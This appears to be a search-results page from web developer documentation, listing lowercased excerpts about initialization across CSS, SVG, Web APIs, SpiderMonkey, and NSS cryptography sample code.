life cycle callbacks special callback functions defined inside the custom element's class definition, which affect its behavior: connectedcallback: invoked when the custom element is first connected to the document's dom.
... html templates <template> contains an html fragment that is not rendered when a containing document is initially loaded, but can be displayed at runtime using javascript, mainly used as the basis of custom element structures.
... specifications specification status comment html living standardthe definition of '<template> element' in that specification.
...And 7 more matches
JavaScript Object Management - Archive of obsolete content
*/ if (typeof 〈namespace〉 == "undefined") { var 〈namespace〉 = { /** * initializes this object.
... */ init : function() { this.obsservice = cc["@mozilla.org/observer-service;1"].getservice(ci.nsiobserverservice); } }; 〈namespace〉.init(); }; js objects can also be treated as string-indexed arrays: // equivalent.
...〈namespace〉.hello.init(); 〈namespace〉.hello["init"](); this is very useful in cases where you have to set attributes or functions with dynamically generated names.
...And 6 more matches
JXON - Archive of obsolete content
|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function parsetext (svalue) { if (/^\s*$/.test(svalue)) { return null; } if (/^(?:true|false)$/i.test(svalue)) { return svalue.tolowercase() === "true"; } if (isfinite(svalue)) { return parsefloat(svalue); } if (isfinite(date.parse(svalue))) { return new date(svalue); } return svalue; } function jxontree (oxmlparent) { var nattrlen = 0, nlength = 0, scollectedtxt = ""; if (oxmlparent.haschildnodes()) { for (var onode, sprop, vcontent, nitem = 0; nitem < oxmlparent.childnodes.length; nitem++) { onode = oxmlparent.childnodes.item(nitem); ...
...|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function parsetext (svalue) { if (/^\s*$/.test(svalue)) { return null; } if (/^(?:true|false)$/i.test(svalue)) { return svalue.tolowercase() === "true"; } if (isfinite(svalue)) { return parsefloat(svalue); } if (isfinite(date.parse(svalue))) { return new date(svalue); } return svalue; } function jxontree (oxmlparent) { if (oxmlparent.haschildnodes()) { var scollectedtxt = ""; for (var onode, sprop, vcontent, nitem = 0; nitem < oxmlparent.childnodes.length; nitem++) { onode = oxmlparent.childnodes.item(nitem); if ((onode.nodetype - 1 ...
...|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function parsetext (svalue) { if (/^\s*$/.test(svalue)) { return null; } if (/^(?:true|false)$/i.test(svalue)) { return svalue.tolowercase() === "true"; } if (isfinite(svalue)) { return parsefloat(svalue); } if (isfinite(date.parse(svalue))) { return new date(svalue); } return svalue; } function getjxontree (oxmlparent) { var vresult = /* put here the default value for empty nodes!
...And 6 more matches
HTML parser threading
it also has another lazily initialized tokenizer/tree builder for speculatively scanning the tail of document.write() data when the parser blocks without parsing the document.write() data to completion.
...initialization an nshtml5parser is constructed without an nshtml5streamparser due to legacy code structure around parser creation.
...due to legacy interface design oddities, an nshtml5parser is initialized by calling nshtml5parser::parse(nsiuri*, nsirequestobserver*, void*, nsdtdmode).
...And 6 more matches
Encrypt Decrypt MAC Keys As Session Objects
could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess...
...stfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestfinal()\n"); } return secsuccess; } /* * compute mac */ secstatus computemac(pk11context *ctxmac, unsigned char *ptext, unsigned int ptextlen, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = macinit(ctxmac); if (rv != secsuccess) return rv; rv = macupdate(ctxmac, ptext, ptextlen); if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; ...
...ailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_s...
...And 6 more matches
Encrypt and decrypt MAC using token
could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess...
...stfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestfinal()\n"); } return secsuccess; } /* * compute mac */ secstatus computemac(pk11context *ctxmac, unsigned char *ptext, unsigned int ptextlen, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = macinit(ctxmac); if (rv != secsuccess) return rv; rv = macupdate(ctxmac, ptext, ptextlen); if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; ...
...ailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_s...
...And 6 more matches
EncDecMAC using token object - sample 3
gin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed ...
...int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestfinal()\n"); } return secsuccess; } /* * compute mac */ secstatus computemac(pk11context *ctxmac, unsigned char *ptext, unsigned int ptextlen, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = macinit(ctxmac); if (rv != secsuccess) return rv; rv = macupdate(ctxmac, ptext, ptextlen); if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; char trailer[40]; char *outstring = null; switch (type) { case sym...
...; strcpy(trailer, mackey_trailer); break; case iv: strcpy(header, iv_header); strcpy(trailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); retu...
...And 6 more matches
Rhino scopes and contexts
a top-level scope is created by calling context.initstandardobjects to create all the standard objects: scriptableobject scope = cx.initstandardobjects(); the easiest way to embed rhino is just to create a new scope this way whenever you need one.
... however, initstandardobjects is an expensive method to call and it allocates a fair amount of memory.
...typically this object will have been created with initstandardobjects and may also have additional objects specific to the embedding.
...And 6 more matches
GCIntegration - SpiderMonkey Redirect 1
a simple way to visualize the invariant is that, when an incremental gc starts, an "initial snapshot" of the heap is taken.
...this barrier is conservative—it assumes that any destroyed pointer was pointing to an object that was part of the initial snapshot.
... to understand the problem more, let's consider some reasons why barriers are not needed in common areas of firefox: if a pointer is never changed after it's initialized, then there's no need for a write barrier.
...And 6 more matches
JS::PersistentRooted
syntax js::persistentrooted<t> var; // added in spidermonkey 38 js::persistentrooted<t> var(cx); js::persistentrooted<t> var(cx, initial); js::persistentrooted<t> var(rt); js::persistentrooted<t> var(rt, initial); name type description cx jscontext * the context to get the runtime in which to add the root rt jsruntime * the runtime in which to add the root.
... initial t an initial value for the persistent rooted variable.
... method description void init(jscontext* cx) initialize with optional initial value (if not provided, it will be initialized with the initial value of the type).
...And 6 more matches
nsIScriptError
that subclass offered the nsiscripterror.initwithwindowid() method for that purpose; that method is now available in this interface, however.
... method overview void init(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category); void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); autf8string tostring(); attributes attribute type description category string a string indicating the category of error that occurred see categories for a list.
...this is zero if the error was initialized by calling nsiscripterror.init() instead of initwithwindowid().
...And 6 more matches
nsIXULTemplateQueryProcessor
the template builder must call initializeforbuilding() before the other methods, except for translateref().
...the initializeforbuilding(), compilequery() and addbinding() methods may not be called after generateresults() has been called until the builder indicates that the generated output is being removed by calling the done() method.
... currently, the datasource supplied to the methods will always be an nsirdfdatasource or a dom node, and will always be the same one in between calls to initializeforbuilding() and done().
...And 6 more matches
Mozilla
continuous integration when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure.
... creating a language pack to create a language pack, or a localization repack, you first need to go through the initial setup process.
...for example, by using components.results.ns_error_not_initialized firefox here you can learn about how to contribute to the firefox project and you will also find links to information about the construction of firefox add-ons, using the developer tools in firefox, and other topics.
...And 6 more matches
CustomEvent - Web APIs
the customevent interface represents events initialized by an application for any purpose.
... properties customevent.detail read only any data passed when initializing the event.
...by specification, this value is time since epoch—but in reality, browsers' definitions vary.
...And 6 more matches
MouseEvent - Web APIs
though the mouseevent.initmouseevent() method is kept for backward compatibility, creating of a mouseevent object should be done using the mouseevent() constructor.
... mouseevent.initmouseevent() initializes the value of a mouseevent created.
...!cb.dispatchevent(evt); if(canceled) { // a handler called preventdefault alert("canceled"); } else { // none of the handlers called preventdefault alert("not canceled"); } } document.getelementbyid("button").addeventlistener('click', simulateclick); result specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
...And 6 more matches
Basic concepts of flexbox - CSS: Cascading Style Sheets
as with all properties in css, some initial values are defined, so when creating a flex container all of the contained flex items will behave in the following way.
...try editing the items or adding additional items in order to test the initial behavior of flexbox.
...set it to nowrap, which is also the initial value, and they will instead shrink to fit the container because they are using initial flexbox values that allows items to shrink.
...And 6 more matches
border - CSS: Cascading Style Sheets
WebCSSborder
constituent properties this property is a shorthand for the following css properties: border-color border-style border-width syntax /* style */ border: solid; /* width | style */ border: 2px dotted; /* style | color */ border: outset #f33; /* width | style | color */ border: medium dashed green; /* global values */ border: inherit; border: initial; border: unset; the border property may be specified using one, two, or three of the values listed below.
... description as with all shorthand properties, any omitted sub-values will be set to their initial value.
... importantly, border cannot be used to specify a custom value for border-image, but instead sets it to its initial value, i.e., none.
...And 6 more matches
display - CSS: Cascading Style Sheets
WebCSSdisplay
global /* global values */ display: inherit; display: initial; display: unset; description the individual pages for the different types of value that display can have set on it feature multiple examples of those values in action — see the syntax section.
... short note on what css display properties do to table semantics — the paciello group hidden content for better a11y | go make things mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueinlineapplies toall elementsinheritednocomputed valueas the specified value, except for positioned and floating elements and the root element.
... specifications specification status comment css display module level 3the definition of 'display' in that specification.
...And 6 more matches
flex - CSS: Cascading Style Sheets
WebCSSflex
constituent properties this property is a shorthand for the following css properties: flex-grow flex-shrink flex-basis syntax /* keyword values */ flex: auto; flex: initial; flex: none; /* one value, unitless number: flex-grow */ flex: 2; /* one value, width/height: flex-basis */ flex: 10em; flex: 30%; flex: min-content; /* two values: flex-grow | flex-basis */ flex: 1 30px; /* two values: flex-grow | flex-shrink */ flex: 2 2; /* three values: flex-grow | flex-shrink | flex-basis */ flex: 2 2 10%; /* global values */ flex: inherit; flex: initial; flex: unse...
... one of the keywords: none, auto, or initial.
... values initial the item is sized according to its width and height properties.
...And 6 more matches
text-align - CSS: Cascading Style Sheets
; text-align: right; text-align: center; text-align: justify; text-align: justify-all; text-align: start; text-align: end; text-align: match-parent; /* character-based alignment in a table column */ text-align: "."; text-align: "." center; /* block alignment values (non-standard syntax) */ text-align: -moz-center; text-align: -webkit-center; /* global values */ text-align: inherit; text-align: initial; text-align: unset; the text-align property is specified in one of the following ways: using the keyword values start, end, left, right, center, justify, justify-all, or match-parent.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.8 | understanding wcag 2.0 formal definition initial valuestart, or a nameless value that acts as left if direction is ltr, right if direction is rtl if start is not supported by the browser.applies toblock containersinheritedyescomputed valueas specified, except for the match-parent value which is calculated against its parent's direction value and results in a computed value of either left or rightanimation typediscrete formal syntax...
... notes the standard-compatible way to center a block itself without centering its inline content is setting the left and right margin to auto, e.g.: .something { margin: auto; } .something { margin: 0 auto; } .something { margin-left: auto; margin-right: auto; } specifications specification status comment css logical properties and values level 1the definition of 'text-align' in that specification.
...And 6 more matches
Math.hypot() - JavaScript
if your numbers are larger than about 10154, taking the square of them will result in infinity.
... for example, math.sqrt(1e200*1e200 + 1e200*1e200) = infinity .
...if any of the arguments is ±infinity, the result is infinity.
...And 6 more matches
Populating the page: how browsers work - Web Performance
after this initial request, the ip will likely be cached for a time, which speeds up subsequent requests by retrieving the ip address from the cache instead of contacting a name server again.
... response once we have an established connection to a web server, the browser sends an initial http get request on behalf of the user, which for websites is most often an html file.
..."utf-8"/> <title>my simple page</title> <link rel="stylesheet" src="styles.css"/> <script src="myscript.js"></script> </head> <body> <h1 class="heading">my page</h1> <p>a paragraph with a <a href="https://example.com/about">link</a></p> <div> <img src="myimage.jpg" alt="image description"/> </div> <script src="anotherscript.js"></script> </body> </html> this response for this initial request contains the first byte of data received.
...And 6 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
each individual value can be one of the following : <offset-value>, <syncbase-value>, <event-value>, <repeat-value>, <accesskey-value>, <wallclock-sync-value> or the keyword indefinite.
... indefinite the begin of the animation will be determined by a beginelement() method call or a hyperlink targeted to the element.
... the <discard> element has an implicit simple duration of indefinite.
...And 6 more matches
dx - SVG: Scalable Vector Graphics
WebSVGAttributedx
value list of <length> default value none animatable yes specifications specification status comment filter effects module level 1the definition of 'dx' in that specification.
... working draft initial definition for <fedropshadow> filter effects module level 1the definition of 'dx' in that specification.
... working draft definition for <feoffset> scalable vector graphics (svg) 2the definition of 'dx' in that specification.
...And 6 more matches
dy - SVG: Scalable Vector Graphics
WebSVGAttributedy
value list of <length> default value none animatable yes specifications specification status comment filter effects module level 1the definition of 'dy' in that specification.
... working draft initial definition for <fedropshadow> filter effects module level 1the definition of 'dy' in that specification.
... working draft definition for <feoffset> scalable vector graphics (svg) 2the definition of 'dy' in that specification.
...And 6 more matches
Content type - SVG: Scalable Vector Graphics
.25 = 50 hours, 10 seconds and 250 milliseconds partial clock value: 02:33 = 2 minutes and 33 seconds 00:10.5 = 10.5 seconds = 10 seconds and 500 milliseconds timecount values: 3.2h = 3.2 hours = 3 hours and 12 minutes 45min = 45 minutes 30s = 30 seconds 5ms = 5 milliseconds 12.467 = 12 seconds and 467 milliseconds fractional values are just (base 10) floating point definitions of seconds.
...<color> applies to svg's use of the color attribute and is a component of the definitions of attributes fill, stroke, stop-color, flood-color, and lighting-color, which also offer optional icc-based color specifications.
...the normative definition of these keywords is found in user preferences for colors (css2, section 18.2).
...And 6 more matches
dev/panel - Archive of obsolete content
}); in the constructor definition there are a number of mandatory and optional parameters for you to supply.
... creating a tool next, you need to create a new tool using the dev/toolbox module, initializing it with the newly defined constructor.
..."./my-panel.html", // when the panel is created, // take a reference to the debuggee setup: function(options) { this.debuggee = options.debuggee; }, dispose: function() { this.debuggee = null; }, onready: function() { // in this function you can communicate // with the panel document } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); panel document environment the panel document loaded from the url property can of course include css and javascript just like a normal web page: <html> <head> <meta charset="utf-8"> <link href="./my-panel.css"rel="stylesheet"></link> <script src="resource://sdk/dev/volcan.js"></script>...
...And 5 more matches
Reading textual data - Archive of obsolete content
using utf-8 for this example: */ "utf-8"; const replacementchar = components.interfaces.nsiconverterinputstream.default_replacement_character; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); is.init(fis, charset, 1024, replacementchar); now you can read string from is: var str = {}; var numchars = is.readstring(4096, str); if (numchars != 0 /* eof */) var read_string = str.value; to read the entire stream and do something with the data: var str = {}; while (is.readstring(4096, str) != 0) { processdata(str.value); } don't forget to close the stream when you're done with it (is.clo...
...the last (4th) argument to init specifies which character they get replaced with; nsiconverterinputstream.default_replacement_character is u+fffd replacement character, which is often a good choice.
...using utf-8 for this example: */ "utf-8"; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); // this assumes that fis is the nsiinputstream you want to read from is.init(fis, charset, 1024, 0xfffd); is.queryinterface(components.interfaces.nsiunicharlineinputstream); if (is instanceof components.interfaces.nsiunicharlineinputstream) { var line = {}; var cont; do { cont = is.readline(line); // now you can do something with line.value } while (cont); } the above example reads an entire stream until eof.
...And 5 more matches
NPVariant - Archive of obsolete content
void_to_npvariant() initialize v to a variant of type npvarianttype_void.
... null_to_npvariant() initialize v to a variant of type npvarianttype_null.
... boolean_to_npvariant() initialize v to a variant of type npvarianttype_bool with the value val.
...And 5 more matches
Build the brick field - Game development
defining new variables first, let's define the needed variables — add the following below your previous variable definitions: var bricks; var newbrick; var brickinfo; the bricks variable will be used to create a group, newbrick will be a new object added to the group on every iteration of the loop, and brickinfo will store all the data we need.
... drawing the bricks we will place all the code for drawing the bricks inside an initbricks function to keep it separated from the rest of the code.
... add a call to initbricks at the end of the create() function: function create(){ // ...
...And 5 more matches
Object prototypes - Learn web development
in this example, we have defined a constructor function, like so: function person(first, last, age, gender, interests) { // property and method definitions this.name = { 'first': first, 'last' : last }; this.age = age; this.gender = gender; //...see link in summary above for full definition } we have then created an object instance like this: let person1 = new person('bob', 'smith', 32, 'male', ['music', 'skiing']); if you type "person1." into your javascript console, you should see the browser try to auto-complete this with...
...in this case, what happens is: the browser initially checks to see if the person1 object has a valueof() method available on it, as defined on its constructor, person(), and it doesn't.
... for example, try these commands in the console: person1.constructor person2.constructor these should both return the person() constructor, as it contains the original definition of these instances.
...And 5 more matches
Enc Dec MAC Output Public Key as CSR
, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_false, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess...
...stfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestfinal()\n"); } return secsuccess; } /* * compute mac */ secstatus computemac(pk11context *ctxmac, unsigned char *ptext, unsigned int ptextlen, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = macinit(ctxmac); if (rv != secsuccess) return rv; rv = macupdate(ctxmac, ptext, ptextlen); if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; const char *header; co...
...er = lab_trailer; pr_fprintf(outfile, "%s\n", header); pr_fprintf(outfile, "%s\n", buf); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; break; default: return secfailure; } pr_fprintf(outfile, "%s\n", header); printasascii(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(type, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, ...
...And 5 more matches
sslerr.html
ssl_error_no_compression_overlap -12203 "cannot communicate securely with peer: no common compression algorithm(s)." ssl_error_handshake_not_completed -12202 "cannot initiate another ssl handshake until current handshake is complete." ssl_error_bad_handshake_hash_value -12201 "received incorrect handshakes hash values from peer." ssl_error_cert_kea_mismatch -12200 "the certificate provided cannot be used with the selected key exchange algorithm." ssl_error_no_trusted_ssl_client_ca -12199 "no certificate authority is tru...
... "message authentication code computation failed." ssl_error_sym_key_context_failure -12212 "failure to create symmetric key context." ssl_error_sym_key_unwrap_failure -12211 "failure to unwrap the symmetric key in client key exchange message." ssl_error_iv_param_failure -12209 "pkcs11 code failed to translate an iv into a param." ssl_error_init_cipher_suite_failure -12208 "failed to initialize the selected cipher suite." ssl_error_session_key_gen_failure -12207 "failed to generate session keys for ssl session." on a client socket, indicates a failure of the pkcs11 key generation function.
... on a server socket, indicates a failure of one of the following: (a) to unwrap the pre-master secret from the clientkeyexchange message, (b) to derive the master secret from the premaster secret, (c) to derive the mac secrets, cryptographic keys, and initialization vectors from the master secret.
...And 5 more matches
Parser API
line number default: 1 the initial line number to use for source location information.
... interface forstatement <: statement { type: "forstatement"; init: variabledeclaration | expression | null; test: expression | null; update: expression | null; body: statement; } a for statement.
... interface variabledeclarator <: node { type: "variabledeclarator"; id: pattern; init: expression | null; } a variable declarator.
...And 5 more matches
SpiderMonkey 31
migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the newly-repurposed js_init method.
... when all jsapi operation has completed, the corresponding js_shutdown method (currently non-mandatory, but highly recommended as it may become mandatory in the future) uninitializes spidermonkey, cleaning up memory and allocations performed by js_init.
... js_init is a new function which must be used to initialize the js engine before any jsruntimes are created or other jsapi methods are called.
...And 5 more matches
TPS Tests
data definitions/asset list (optional, but all current tests have them).
... a phase is defined by calling the phase function with the name of the phase and a list of actions to perform: phase('phase1', [ [bookmarks.add, bookmarks_initial], [passwords.add, passwords_initial], [history.add, history_initial], [sync, sync_wipe_server], ]); each action is an array, the first member of which is a function reference to call, the other members of which are parameters to pass to the function.
... built-in functions sync(options) initiates a sync operation.
...And 5 more matches
nsIBrowserSearchService
to access this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization.
... this is not an issue if your code is executed in reaction to a user interaction, as initialization is complete by then, but this is an issue if your code is executed during startup.
... if you need to write code that is executed during startup and makes use of nsibrowsersearchservice, you should make sure that this code is executed from the callback to init().
...And 5 more matches
nsIScriptableInputStream
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream.
...init() wrap the given nsiinputstream with this nsiscriptableinputstream.
... note: the init method may be called more than once, allowing a nsiscriptableinputstream instance to be reused.
...And 5 more matches
nsIStructuredCloneContainer
1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) you can copy an object into an nsistructuredclonecontainer using initfromvariant() or initfrombase64().
... it is an error to initialize an nsistructuredclonecontainer more than once.
... once you've initialized the container, you can get a copy of the object it stores by calling deserializetovariant().
...And 5 more matches
Using nsIDirectoryService
this is done by passing a directory to ns_initxpcom or, for embedding, as the first parameter to ns_initembedding.
...this provider is installed by seamonkey after initializing xpcom.
... it is also installed by default by ns_initembedding.
...And 5 more matches
Using the clipboard
initialize the transferring object with the nsiloadcontext obtained from the window that is the source of the clipboard data.
...for reading from the clipboard you can call the init method of the transferable with null as nsiloadcontext, but you have to call it.
...object res.data = str; return res; } // create a constructor for the built-in transferable class const nstransferable = components.constructor("@mozilla.org/widget/transferable;1", "nsitransferable"); // create a wrapper to construct an nsitransferable instance and set its source to the given window, when necessary function transferable(source) { var res = nstransferable(); if ('init' in res) { // when passed a window object, find a suitable privacy context for it.
...And 5 more matches
The libmime module
the definition of these classes is somewhat idiosyncratic and consists of an internally defined object system, instead of c++.
... }; class definition this variable holds an instance of the one-and-only class record; the various instances of this class point to this object.
... }; then, in the corresponding .c file, the following structure is used: class definition first we pull in the appropriate include file (which includes all necessary include files for the parent classes) and then we define the class object using the mimedefclass macro: #include "foobar.h" #define mime_superclass parentlclass mimedefclass(foobar, foobarclass, foobarclass, &mime_superclass); the definition of mime_superclass is just to move most of the knowlege of th...
...And 5 more matches
CSSRule - Web APIs
WebAPICSSRule
(until the documentation is completed, see the interface definition in the mozilla source code: nsidomcssimportrule.) cssrule.media_rule 4 cssmediarule cssrule.font_face_rule 5 cssfontfacerule cssrule.page_rule 6 csspagerule cssrule.keyframes_rule 7 csskeyframesrule cssrule.keyframe_rule 8 csskeyframerule reserved for future use 9 should be use...
... specifications specification status comment css object model (cssom)the definition of 'cssrule' in that specification.
... css animationsthe definition of 'cssrule' in that specification.
...And 5 more matches
RTCPeerConnection - Web APIs
the answer is delivered to the returned promise, and should then be sent to the source of the offer to continue the negotiation process.createdatachannel() the createdatachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted.createoffer()the createoffer() method of the rtcpeerconnection interface initiates the creation of an sdp offer for the purpose of starting a new webrtc connection to a remote peer.generatecertificate()the generatecertificate() method of the rtcpeerconnection interface creates and stores an x.509 certificate and corresponding private key then returns an rtccertificate, providing access to it.getconfiguration() the rtcpeerconnection.getconfiguration() method returns an rtc...
...configuration object which indicates the current configuration of the rtcpeerconnection on which the method is called.getidentityassertion() the rtcpeerconnection.getidentityassertion() method initiates the gathering of an identity assertion.
... if the remote endpoint is bundle-aware, all media tracks and data channels are bundled onto a single transport at the completion of negotiation, regardless of policy used, and any superfluous transports that were created initially are closed at that point.
...And 5 more matches
RTCSessionDescription() - Web APIs
the rtcsessiondescription() constructor creates a new rtcsessiondescription with its properties initialized as described in the specified object.
... this constructor has been deprecated because rtcpeerconnection.setlocaldescription() and other methods which take sdp as input now directly accept an object conforming to the rtcsessiondescriptioninit dictionary, so you don't have to instantiate an rtcsessiondescription yourself.
... syntax sessiondescription = new rtcsessiondescription(rtcsessiondescriptioninit); values rtcsessiondescriptioninit optional an object providing the default values for the session description; the object conforms to the rtcsessiondescriptioninit dictionary.
...And 5 more matches
Request() - Web APIs
WebAPIRequestRequest
syntax var myrequest = new request(input[, init]); parameters input defines the resource that you wish to fetch.
... init optional an options object containing any custom settings that you want to apply to the request.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { return response.blob(); }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in our fetch request with init example (see fetch request init live) we do the same thing except that we pass in an init object when we invoke fetch(): var myimage = document.queryselector('img'); var myheaders = new headers(); myheaders.append('content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new r...
...And 5 more matches
WindowOrWorkerGlobalScope.fetch() - Web APIs
